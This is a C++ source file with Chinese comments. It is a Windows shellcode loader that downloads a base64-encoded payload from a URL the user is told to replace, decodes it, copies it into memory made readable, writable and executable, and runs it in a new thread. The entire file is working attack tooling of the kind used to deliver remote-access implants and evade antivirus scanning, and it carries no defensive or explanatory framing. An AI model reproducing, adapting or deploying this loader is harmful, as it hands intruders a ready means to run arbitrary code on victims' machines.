#include <iostream>
#include <vector>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
std::vector<int> T(256, -1);
for (int i = 0; i < 64; i++) {
T[static_cast<int>(base64_chars[i])] = i;
}
std::vector<unsigned char> decoded;
int val = 0, valb = -8;
for (size_t i = 0; i < length; ++i) {
if (T[input[i]] == -1) break; // 处理无效字符
val = (val << 6) + T[input[i]];
valb += 6;
if (valb >= 0) {
decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
valb -= 8;
}
}
return decoded;
}
size_t GetUrl_RawContent(LPSTR url, std::vector<unsigned char>& buffer) {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD contentLength = 0;
DWORD bufferSize = sizeof(contentLength);
DWORD index = 0;
// 打开一个与互联网的连接
hInternet = InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
return 0;
}
// 打开一个URL连接
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hInternet);
return 0;
}
// 查询HTTP响应头中的内容长度
if (!HttpQueryInfoA(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferSize, &index)) {
std::cerr << "HttpQueryInfo failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 0;
}
// 调整buffer的大小,以便存储原始字节数据
buffer.resize(contentLength);
// 读取URL返回的内容到buffer中
if (!InternetReadFile(hConnect, buffer.data(), contentLength, &bytesRead)) {
std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
bytesRead = 0; // 读取失败,返回0
}
// 关闭连接
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
// 返回读取到的字节数
return bytesRead;
}
int main() {
const char* url = "http://127.0.0.1:8888/shellcode64.txt"; // 替换为你的文件 URL
std::vector<unsigned char> base64string;
size_t bytesRead = GetUrl_RawContent(const_cast<LPSTR>(url), base64string);
if (bytesRead > 0) {
std::cout << "Read " << bytesRead << " bytes:\n";
std::cout.write(reinterpret_cast<const char*>(base64string.data()), bytesRead);
std::cout << std::endl;
}
else {
std::cerr << "Failed to read content from URL." << std::endl;
}
// Base64 解码
std::vector<unsigned char> decoded = base64_decode(base64string.data(), base64string.size());
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, decoded.data(), decoded.size());
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
return 0;
return 0;
}